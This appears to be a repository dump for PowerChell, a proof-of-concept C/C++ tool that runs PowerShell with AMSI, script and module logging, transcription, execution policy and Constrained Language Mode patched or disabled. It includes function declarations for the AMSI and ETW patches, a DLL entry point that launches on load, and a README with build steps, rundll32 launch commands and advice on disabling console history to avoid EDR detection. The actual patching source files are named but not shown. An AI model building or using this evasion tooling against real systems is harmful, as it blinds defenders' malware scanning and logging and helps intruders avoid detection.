├── PowerChellLib ├── common.h ├── patch.h ├── PowerChellLib.vcxproj.filters ├── powershell.h ├── clr.h ├── PowerChellLib.vcxproj ├── patch.cpp ├── clr.cpp └── powershell.cpp ├── PowerChell ├── PowerChell.vcxproj.filters ├── main.cpp └── PowerChell.vcxproj ├── PowerChell.sln ├── .gitattributes ├── README.md └── .gitignore /PowerChellLib/common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #define WIN32_LEAN_AND_MEAN 3 | #include 4 | #include 5 | 6 | #define DEBUG TRUE 7 | 8 | #define PRINT_INFO(f, ...) wprintf(L"[*] " ## f, __VA_ARGS__); 9 | #define PRINT_WARNING(f, ...) wprintf(L"[!] " ## f, __VA_ARGS__); 10 | #define PRINT_ERROR(f, ...) wprintf(L"[-] " ## f, __VA_ARGS__); 11 | #define EXIT_ON_NULL_POINTER(m, p) if (p == NULL) { PRINT_ERROR("Null pointer: %ws\n", m); goto exit; } 12 | 13 | #if DEBUG 14 | #define EXIT_ON_WIN32_ERROR(f, c) if (c) { PRINT_ERROR("Function %ws failed with error code: %d\n", f, GetLastError()); goto exit; } 15 | #define EXIT_ON_HRESULT_ERROR(f, hr) if (FAILED(hr)) { PRINT_ERROR("Function %ws failed with error code: 0x%08x\n", f, hr); goto exit; } 16 | #else 17 | #define EXIT_ON_WIN32_ERROR(f, c) if (c) { PRINT_ERROR("A function failed with error code: %d\n", GetLastError()); goto exit; } 18 | #define EXIT_ON_HRESULT_ERROR(f, hr) if (FAILED(hr)) { PRINT_ERROR("A function failed with error code: 0x%08x\n", hr); goto exit; } 19 | #endif -------------------------------------------------------------------------------- /PowerChell/PowerChell.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /PowerChellLib/patch.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #define WIN32_LEAN_AND_MEAN 3 | #include 4 | #include "clr.h" 5 | 6 | BOOL PatchAmsiOpenSession(); 7 | BOOL PatchAmsiScanBuffer(); 8 | 9 | BOOL PatchSystemPolicyGetSystemLockdownPolicy(mscorlib::_AppDomain* pAppDomain); 10 | BOOL PatchTranscriptionOptionFlushContentToDisk(mscorlib::_AppDomain* pAppDomain); 11 | BOOL PatchAuthorizationManagerShouldRunInternal(mscorlib::_AppDomain* pAppDomain); 12 | 13 | BOOL GetProcedureAddress(LPCWSTR pwszModuleName, LPCSTR pszProcedureName, PULONG_PTR pProcedureAddress); 14 | BOOL PatchProcedure(LPVOID pTargetAddress, LPBYTE pSourceBuffer, DWORD dwSourceBufferSize); 15 | 16 | BOOL PatchUnmanagedFunction(LPCWSTR pwszMdoduleName, LPCSTR pszProcedureName, LPBYTE pbPatch, DWORD dwPatchSize, DWORD dwPatchOffset); 17 | BOOL PatchManagedFunction(mscorlib::_AppDomain* pAppDomain, LPCWSTR pwszAssemblyName, LPCWSTR pwszClassName, LPCWSTR pwszMethodName, DWORD dwNbArgs, LPBYTE pbPatch, DWORD dwPatchSize, DWORD dwPatchOffset); 18 | 19 | BOOL FindBufferOffset(LPVOID pStartAddress, LPBYTE pBuffer, DWORD dwBufferSize, DWORD dwMaxSize, PDWORD pdwBufferOffset); -------------------------------------------------------------------------------- /PowerChellLib/PowerChellLib.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | 29 | 30 | Header Files 31 | 32 | 33 | Header Files 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | -------------------------------------------------------------------------------- /PowerChell.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.11.35327.3 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PowerChell", "PowerChell\PowerChell.vcxproj", "{08469D96-635F-45F6-A810-2B5DDC637484}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PowerChellLib", "PowerChellLib\PowerChellLib.vcxproj", "{5FCA91CB-7B0F-47B1-B030-11F1DE990346}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Release-DLL|x64 = Release-DLL|x64 13 | Release-EXE|x64 = Release-EXE|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {08469D96-635F-45F6-A810-2B5DDC637484}.Release-DLL|x64.ActiveCfg = Release-DLL|x64 17 | {08469D96-635F-45F6-A810-2B5DDC637484}.Release-DLL|x64.Build.0 = Release-DLL|x64 18 | {08469D96-635F-45F6-A810-2B5DDC637484}.Release-EXE|x64.ActiveCfg = Release-EXE|x64 19 | {08469D96-635F-45F6-A810-2B5DDC637484}.Release-EXE|x64.Build.0 = Release-EXE|x64 20 | {5FCA91CB-7B0F-47B1-B030-11F1DE990346}.Release-DLL|x64.ActiveCfg = Release-DLL|x64 21 | {5FCA91CB-7B0F-47B1-B030-11F1DE990346}.Release-DLL|x64.Build.0 = Release-DLL|x64 22 | {5FCA91CB-7B0F-47B1-B030-11F1DE990346}.Release-EXE|x64.ActiveCfg = Release-EXE|x64 23 | {5FCA91CB-7B0F-47B1-B030-11F1DE990346}.Release-EXE|x64.Build.0 = Release-EXE|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {6E77EF1B-7CD9-449A-B82A-E95350D5E999} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /PowerChellLib/powershell.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "clr.h" 3 | 4 | void CreatePowerShellConsole(); 5 | void ExecutePowerShellScript(LPWSTR pwszScript); 6 | 7 | BOOL DisablePowerShellEtwProvider(mscorlib::_AppDomain* pAppDomain); 8 | void PatchAllTheThings(mscorlib::_AppDomain* pAppDomain); 9 | 10 | BOOL CreateInitialRunspaceConfiguration(mscorlib::_AppDomain* pAppDomain, VARIANT* pvtRunspaceConfiguration); 11 | BOOL StartConsoleShell(mscorlib::_AppDomain* pAppDomain, VARIANT vtRunspaceConfiguration, LPCWSTR pwszBanner, LPCWSTR pwszHelp, LPCWSTR* ppwszArguments, DWORD dwArgumentCount); 12 | 13 | BOOL PowerShellCreate(mscorlib::_AppDomain* pAppDomain, VARIANT* pvtPowerShellInstance); 14 | BOOL PowerShellDispose(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance); 15 | BOOL PowerShellAddScript(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance, LPWSTR pwszScript); 16 | BOOL PowerShellAddCommand(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance, LPCWSTR pwszCommand); 17 | BOOL PowerShellInvoke(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance, VARIANT* pvtInvokeResult); 18 | BOOL PowerShellGetStream(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance, LPCWSTR pwszStreamName, VARIANT* pvtStream); 19 | BOOL PowerShellHadErrors(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance, PBOOL pbHadErrors); 20 | 21 | void PrintPowerShellInvokeResult(mscorlib::_AppDomain* pAppDomain, VARIANT vtInvokeResult); 22 | void PrintPowerShellInvokeInformation(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance); 23 | void PrintPowerShellInvokeErrors(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance); 24 | void PrintInformationRecord(mscorlib::_AppDomain* pAppDomain, VARIANT vtInformationRecord); 25 | void PrintErrorRecord(mscorlib::_AppDomain* pAppDomain, VARIANT vtErrorRecord); 26 | void PrintPowerShellInformationStream(mscorlib::_AppDomain* pAppDomain, VARIANT vtInformationStream); 27 | void PrintPowerShellErrorStream(mscorlib::_AppDomain* pAppDomain, VARIANT vtErrorStream); 28 | void PrintPowerShellInvocationStateInfoReason(mscorlib::_AppDomain* pAppDomain, VARIANT vtReason); 29 | void SetConsoleTextColor(WORD wColor, PWORD pwOldColor); -------------------------------------------------------------------------------- /PowerChell/main.cpp: -------------------------------------------------------------------------------- 1 | #define WIN32_LEAN_AND_MEAN 2 | #include 3 | #include 4 | #include "../PowerChellLib/powershell.h" 5 | 6 | typedef struct _POWERCHELL_OPTIONS 7 | { 8 | LPWSTR Script; 9 | } POWERCHELL_OPTIONS, *PPOWERCHELL_OPTIONS; 10 | 11 | void PowerChellMain(); 12 | BOOL ParseCommandLine(PPOWERCHELL_OPTIONS pOptions); 13 | 14 | #ifdef _WINDLL 15 | 16 | extern "C" __declspec(dllexport) void APIENTRY Start(); 17 | void StartPowerShellInNewConsole(); 18 | 19 | HANDLE g_hEvent = NULL; 20 | 21 | #pragma warning(disable : 4100) 22 | BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) 23 | { 24 | switch (ul_reason_for_call) 25 | { 26 | case DLL_PROCESS_ATTACH: 27 | DisableThreadLibraryCalls(hModule); 28 | g_hEvent = CreateEventW(NULL, TRUE, FALSE, NULL); 29 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)StartPowerShellInNewConsole, NULL, 0, NULL); 30 | break; 31 | case DLL_PROCESS_DETACH: 32 | break; 33 | } 34 | 35 | return TRUE; 36 | } 37 | 38 | void APIENTRY Start() 39 | { 40 | WaitForSingleObject(g_hEvent, INFINITE); 41 | } 42 | 43 | void StartPowerShellInNewConsole() 44 | { 45 | AllocConsole(); 46 | PowerChellMain(); 47 | SetEvent(g_hEvent); 48 | CloseHandle(g_hEvent); 49 | FreeConsole(); 50 | } 51 | 52 | #else 53 | 54 | int main() 55 | { 56 | PowerChellMain(); 57 | 58 | return 0; 59 | } 60 | 61 | #endif // #ifdef _WINDLL 62 | 63 | void PowerChellMain() 64 | { 65 | POWERCHELL_OPTIONS pOptions = { 0 }; 66 | 67 | ParseCommandLine(&pOptions); 68 | 69 | if (pOptions.Script != NULL) 70 | { 71 | ExecutePowerShellScript(pOptions.Script); 72 | } 73 | else 74 | { 75 | CreatePowerShellConsole(); 76 | } 77 | } 78 | 79 | BOOL ParseCommandLine(PPOWERCHELL_OPTIONS pOptions) 80 | { 81 | int iArgc = 0; 82 | LPWSTR* ppwszArgv = NULL; 83 | 84 | ppwszArgv = CommandLineToArgvW(GetCommandLineW(), &iArgc); 85 | if (ppwszArgv == NULL) 86 | { 87 | return FALSE; 88 | } 89 | 90 | for (int i = 0; i < iArgc; i++) 91 | { 92 | if (_wcsicmp(ppwszArgv[i], L"-c") == 0) 93 | { 94 | i += 1; 95 | if (i < iArgc && ppwszArgv[i] != NULL) 96 | { 97 | pOptions->Script = ppwszArgv[i]; 98 | } 99 | } 100 | } 101 | 102 | return TRUE; 103 | } -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /PowerChellLib/clr.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #define WIN32_LEAN_AND_MEAN 3 | #include 4 | #include 5 | #include 6 | #include 7 | #pragma comment(lib, "mscoree.lib") 8 | #pragma comment(lib, "Propsys.lib") 9 | 10 | #import raw_interfaces_only \ 11 | high_property_prefixes("_get","_put","_putref") \ 12 | rename("ReportEvent", "InteropServices_ReportEvent") \ 13 | rename("or", "InteropServices_or") 14 | using namespace mscorlib; 15 | 16 | #define APP_DOMAIN L"PowerChell" 17 | #define ASSEMBLY_NAME_SYSTEM_CORE L"System.Core" 18 | #define ASSEMBLY_NAME_SYSTEM_REFLECTION L"System.Reflection" 19 | #define ASSEMBLY_NAME_SYSTEM_RUNTIME L"System.Runtime" 20 | #define ASSEMBLY_NAME_MICROSOFT_POWERSHELL_CONSOLEHOST L"Microsoft.PowerShell.ConsoleHost" 21 | #define ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION L"System.Management.Automation" 22 | #define BINDING_FLAGS_PUBLIC_STATIC mscorlib::BindingFlags::BindingFlags_Public | mscorlib::BindingFlags::BindingFlags_Static 23 | #define BINDING_FLAGS_PUBLIC_INSTANCE mscorlib::BindingFlags::BindingFlags_Public | mscorlib::BindingFlags::BindingFlags_Instance 24 | #define BINDING_FLAGS_NONPUBLIC_STATIC mscorlib::BindingFlags::BindingFlags_NonPublic | mscorlib::BindingFlags::BindingFlags_Static 25 | #define BINDING_FLAGS_NONPUBLIC_INSTANCE mscorlib::BindingFlags::BindingFlags_NonPublic | mscorlib::BindingFlags::BindingFlags_Instance 26 | 27 | typedef struct _CLR_CONTEXT 28 | { 29 | ICLRMetaHost* pMetaHost; 30 | ICLRRuntimeInfo* pRuntimeInfo; 31 | ICorRuntimeHost* pRuntimeHost; 32 | IUnknown* pAppDomainThunk; 33 | } CLR_CONTEXT, * PCLR_CONTEXT; 34 | 35 | namespace clr 36 | { 37 | BOOL InitializeCommonLanguageRuntime(PCLR_CONTEXT pClrContext, mscorlib::_AppDomain** ppAppDomain); 38 | void DestroyCommonLanguageRuntime(PCLR_CONTEXT pClrContext, mscorlib::_AppDomain* pAppDomain); 39 | BOOL FindAssemblyPath(LPCWSTR pwszAssemblyName, LPWSTR* ppwszAssemblyPath); 40 | BOOL GetAssembly(mscorlib::_AppDomain* pAppDomain, LPCWSTR pwszAssemblyName, mscorlib::_Assembly** ppAssembly); 41 | BOOL LoadAssembly(mscorlib::_AppDomain* pAppDomain, LPCWSTR pwszAssemblyName, mscorlib::_Assembly** ppAssembly); 42 | BOOL CreateInstance(mscorlib::_AppDomain* pAppDomain, LPCWSTR pwszAssemblyName, LPCWSTR pwszClassName, VARIANT* pvtInstance); 43 | BOOL GetType(mscorlib::_AppDomain* pAppDomain, LPCWSTR pwszAssemblyName, LPCWSTR pwszTypeFullName, mscorlib::_Type** ppType); 44 | BOOL GetProperty(mscorlib::_Type* pType, mscorlib::BindingFlags bindingFlags, LPCWSTR pwszPropertyName, mscorlib::_PropertyInfo** ppPropertyInfo); 45 | BOOL GetPropertyValue(mscorlib::_Type* pType, mscorlib::BindingFlags bindingFlags, VARIANT vtObject, LPCWSTR pwszPropertyName, VARIANT* pvtPropertyValue); 46 | BOOL GetField(mscorlib::_Type* pType, mscorlib::BindingFlags bindingFlags, LPCWSTR pwszFieldName, mscorlib::_FieldInfo** ppFieldInfo); 47 | BOOL GetFieldValue(mscorlib::_Type* pType, mscorlib::BindingFlags bindingFlags, VARIANT vtObject, LPCWSTR pwszFieldName, VARIANT* pvtFieldValue); 48 | BOOL GetMethod(mscorlib::_Type* pType, mscorlib::BindingFlags bindingFlags, LPCWSTR pwszMethodName, LONG lNbArg, mscorlib::_MethodInfo** ppMethodInfo); 49 | BOOL InvokeMethod(mscorlib::_MethodInfo* pMethodInfo, VARIANT vtObject, SAFEARRAY* pParameters, VARIANT* pvtResult); 50 | BOOL FindMethodInArray(SAFEARRAY* pMethods, LPCWSTR pwszMethodName, LONG lNbArgs, mscorlib::_MethodInfo** ppMethodInfo); 51 | BOOL PrepareMethod(mscorlib::_AppDomain* pAppDomain, VARIANT* pvtMethodHandle); 52 | BOOL GetFunctionPointer(mscorlib::_AppDomain* pAppDomain, VARIANT* pvtMethodHandle, PULONG_PTR pFunctionPointer); 53 | BOOL GetJustInTimeMethodAddress(mscorlib::_AppDomain* pAppDomain, LPCWSTR pwszAssemblyName, LPCWSTR pwszClassName, LPCWSTR pwszMethodName, DWORD dwNbArgs, PULONG_PTR pMethodAddress); 54 | } 55 | 56 | namespace dotnet 57 | { 58 | BOOL System_Object_GetType(mscorlib::_AppDomain* pAppDomain, VARIANT vtObject, VARIANT* pvtObjectType); 59 | BOOL System_Type_GetProperty(mscorlib::_AppDomain* pAppDomain, VARIANT vtTypeObject, LPCWSTR pwszPropertyName, VARIANT* pvtPropertyInfo); 60 | BOOL System_Reflection_PropertyInfo_GetValue(mscorlib::_AppDomain* pAppDomain, VARIANT vtPropertyInfo, VARIANT vtObject, SAFEARRAY* pIndex, VARIANT* pvtValue); 61 | BOOL System_Reflection_PropertyInfo_GetValue(mscorlib::_AppDomain* pAppDomain, VARIANT vtPropertyInfo, VARIANT vtObject, VARIANT* pvtValue); 62 | } -------------------------------------------------------------------------------- /PowerChell/PowerChell.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Release-DLL 6 | x64 7 | 8 | 9 | Release-EXE 10 | x64 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | {5fca91cb-7b0f-47b1-b030-11f1de990346} 19 | 20 | 21 | 22 | 17.0 23 | Win32Proj 24 | {08469d96-635f-45f6-a810-2b5ddc637484} 25 | PowerChell 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | false 32 | v143 33 | true 34 | Unicode 35 | 36 | 37 | DynamicLibrary 38 | false 39 | v143 40 | true 41 | Unicode 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | C:\Program Files (x86)\Reference Assemblies\Microsoft\WindowsPowerShell\3.0;$(ReferencePath) 57 | $(SolutionDir)$(Platform)\Release\ 58 | 59 | 60 | C:\Program Files (x86)\Reference Assemblies\Microsoft\WindowsPowerShell\3.0;$(ReferencePath) 61 | $(SolutionDir)$(Platform)\Release\ 62 | 63 | 64 | 65 | Level4 66 | true 67 | true 68 | true 69 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 70 | true 71 | MultiThreaded 72 | 73 | 74 | Console 75 | true 76 | true 77 | false 78 | 79 | 80 | 81 | 82 | Level4 83 | true 84 | true 85 | true 86 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 87 | true 88 | MultiThreaded 89 | 90 | 91 | Console 92 | true 93 | true 94 | false 95 | 96 | 97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /PowerChellLib/PowerChellLib.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Release-DLL 6 | x64 7 | 8 | 9 | Release-EXE 10 | x64 11 | 12 | 13 | 14 | 17.0 15 | Win32Proj 16 | {5fca91cb-7b0f-47b1-b030-11f1de990346} 17 | PowerChellLib 18 | 10.0 19 | 20 | 21 | 22 | StaticLibrary 23 | false 24 | v143 25 | true 26 | Unicode 27 | 28 | 29 | StaticLibrary 30 | false 31 | v143 32 | true 33 | Unicode 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | $(SolutionDir)$(Platform)\Release\ 49 | 50 | 51 | $(SolutionDir)$(Platform)\Release\ 52 | 53 | 54 | 55 | Level4 56 | true 57 | true 58 | true 59 | NDEBUG;_LIB;%(PreprocessorDefinitions) 60 | true 61 | NotUsing 62 | pch.h 63 | MultiThreaded 64 | 65 | 66 | 67 | 68 | true 69 | true 70 | true 71 | 72 | 73 | 74 | 75 | Level4 76 | true 77 | true 78 | true 79 | NDEBUG;_LIB;%(PreprocessorDefinitions) 80 | true 81 | NotUsing 82 | pch.h 83 | MultiThreaded 84 | 85 | 86 | 87 | 88 | true 89 | true 90 | true 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PowerChell 2 | 3 | A proof-of-concept aimed at creating **a PowerShell console in C/C++**, with all the security features patched or disabled: Antimalware Scan Interface (AMSI), Script Block logging, Module logging, Transcription, Execution Policy, and Constrained Language Mode (CLM). 4 | 5 | ## Build 6 | 7 | 1. Open the solution file `PowerChell.sln` with Visual Studio (you must have the Windows SDK installed). 8 | 2. In the toolbar, select `RELEASE-EXE` if you want to build the executable (.exe) file, or `RELEASE-DLL` if you want to build the DLL. In both cases, the target configuration will be `x64` because this is the only supported platform. 9 | 3. In the top bar, click `Build > Build Solution` to build the project. 10 | 11 | ## Usage 12 | 13 | ### Open a PowerShell Console 14 | 15 | You should be able to run the **executable** straight away: 16 | 17 | ```console 18 | C:\Users\Dummy\Downloads>PowerChell.exe 19 | Windows PowerChell 20 | Copyright (C) Microsoft Corporation. All rights reserved. 21 | 22 | PS C:\Users\Dummy\Downloads> $PSVersionTable 23 | 24 | Name Value 25 | ---- ----- 26 | PSVersion 5.1.26100.2161 27 | PSEdition Desktop 28 | PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...} 29 | BuildVersion 10.0.26100.2161 30 | CLRVersion 4.0.30319.42000 31 | WSManStackVersion 3.0 32 | PSRemotingProtocolVersion 2.3 33 | SerializationVersion 1.1.0.1 34 | ``` 35 | 36 | As for the **DLL**, you can use the following command: 37 | 38 | ```batch 39 | rundll32 PowerChell.dll,Start 40 | ``` 41 | 42 | In the command above, `Start` is the name of a dummy function. It exists only to prevent `rundll32` from complaining about not finding the entry point. You can very well specify any entry point you want. It will work as long as you don't close the error dialog. 43 | 44 | ### Execute a Command 45 | 46 | You can also execute a PowerShell command like this: 47 | 48 | ```console 49 | C:\Users\Dummy\Downloads>PowerChell.exe -c "$PSVersionTable" 50 | 51 | +-----------------------------------+ 52 | | POWERSHELL STANDARD OUTPUT STREAM | 53 | +-----------------------------------+ 54 | 55 | Name Value 56 | ---- ----- 57 | PSVersion 5.1.26100.3624 58 | PSEdition Desktop 59 | PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...} 60 | BuildVersion 10.0.26100.3624 61 | CLRVersion 4.0.30319.42000 62 | WSManStackVersion 3.0 63 | PSRemotingProtocolVersion 2.3 64 | SerializationVersion 1.1.0.1 65 | ``` 66 | 67 | This also works with the **DLL**, albeit less convient because you won't see the result: 68 | 69 | ```batch 70 | rundll32 PowerChell.dll,Start -c "$PSVersionTable" 71 | ``` 72 | 73 | ## Syntax Highlighting and other Goodies 74 | 75 | In PowerShell v3+, Microsoft added a built-in module named [`PSReadLine`](https://github.com/PowerShell/PSReadLine) to bring a bash-like experience to the PowerShell console. PowerChell doesn't load any module by design, so if you want to enable features such as syntax highlighting and other goodies that this module implements, you need to load it manually. 76 | 77 | However, this has a **side effect in regard to detection by EDR**. In doing so, you will also enable PowerShell command logging to the current user's console history file `%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt`. This file is actively monitored by some security solutions (see [issue #1](https://github.com/scrt/PowerChell/issues/1)). 78 | 79 | To load this module, and disable console history, you should do the following. 80 | 81 | ```powershell 82 | Import-Module PSReadLine 83 | Set-PSReadLineOption -HistorySaveStyle SaveNothing 84 | ``` 85 | 86 | ![Image](https://github.com/user-attachments/assets/5d7979a9-9b52-4403-ab8d-88d13962bf73) 87 | 88 | ## Caveats 89 | 90 | - If you open any of the source files and Visual Studio is screaming at you because it can't find the `mscorlib` stuff, that's expected. You need to build the solution at least once. It will generate the `mscorlib.tlh` file automatically. 91 | - The code of the DLL will likely need to be adapted if you want it to work properly using DLL sideloading. 92 | 93 | ## Authors 94 | 95 | - Clément Labro 96 | - Mastodon: [https://infosec.exchange/@itm4n](https://infosec.exchange/@itm4n) 97 | - GitHub: [https://github.com/itm4n](https://github.com/itm4n) 98 | 99 | ## Credit 100 | 101 | There would be many resources, blog posts, and tools to credit. Unfortunately, I haven't kept track of all them, but here are the main ones. 102 | 103 | **Tools** 104 | 105 | - https://github.com/calebstewart/bypass-clm 106 | - https://github.com/anonymous300502/Nuke-AMSI 107 | - https://github.com/OmerYa/Invisi-Shell 108 | - https://github.com/leechristensen/UnmanagedPowerShell 109 | - https://github.com/racoten/BetterNetLoader 110 | - https://gist.github.com/Arno0x/386ebfebd78ee4f0cbbbb2a7c4405f74 (`loadDotNetAssemblyFromMemory.cpp`) 111 | - https://gist.github.com/tandasat/e595c77c52e13aaee60e1e8b65d2ba32 (`KillETW.ps1`) 112 | 113 | **Blog posts** 114 | 115 | - [Unmanaged .NET Patching](https://www.outflank.nl/blog/2024/02/01/unmanaged-dotnet-patching/) 116 | - [Massaging your CLR: Preventing Environment.Exit in In-Process .NET Assemblies](https://www.mdsec.co.uk/2020/08/massaging-your-clr-preventing-environment-exit-in-in-process-net-assemblies/) 117 | - [15 Ways to Bypass the PowerShell Execution Policy](https://www.netspi.com/blog/technical-blog/network-pentesting/15-ways-to-bypass-the-powershell-execution-policy/) 118 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Oo]ut/ 33 | [Ll]og/ 34 | [Ll]ogs/ 35 | 36 | # Visual Studio 2015/2017 cache/options directory 37 | .vs/ 38 | # Uncomment if you have tasks that create the project's static files in wwwroot 39 | #wwwroot/ 40 | 41 | # Visual Studio 2017 auto generated files 42 | Generated\ Files/ 43 | 44 | # MSTest test Results 45 | [Tt]est[Rr]esult*/ 46 | [Bb]uild[Ll]og.* 47 | 48 | # NUnit 49 | *.VisualState.xml 50 | TestResult.xml 51 | nunit-*.xml 52 | 53 | # Build Results of an ATL Project 54 | [Dd]ebugPS/ 55 | [Rr]eleasePS/ 56 | dlldata.c 57 | 58 | # Benchmark Results 59 | BenchmarkDotNet.Artifacts/ 60 | 61 | # .NET Core 62 | project.lock.json 63 | project.fragment.lock.json 64 | artifacts/ 65 | 66 | # ASP.NET Scaffolding 67 | ScaffoldingReadMe.txt 68 | 69 | # StyleCop 70 | StyleCopReport.xml 71 | 72 | # Files built by Visual Studio 73 | *_i.c 74 | *_p.c 75 | *_h.h 76 | *.ilk 77 | *.meta 78 | *.obj 79 | *.iobj 80 | *.pch 81 | *.pdb 82 | *.ipdb 83 | *.pgc 84 | *.pgd 85 | *.rsp 86 | *.sbr 87 | *.tlb 88 | *.tli 89 | *.tlh 90 | *.tmp 91 | *.tmp_proj 92 | *_wpftmp.csproj 93 | 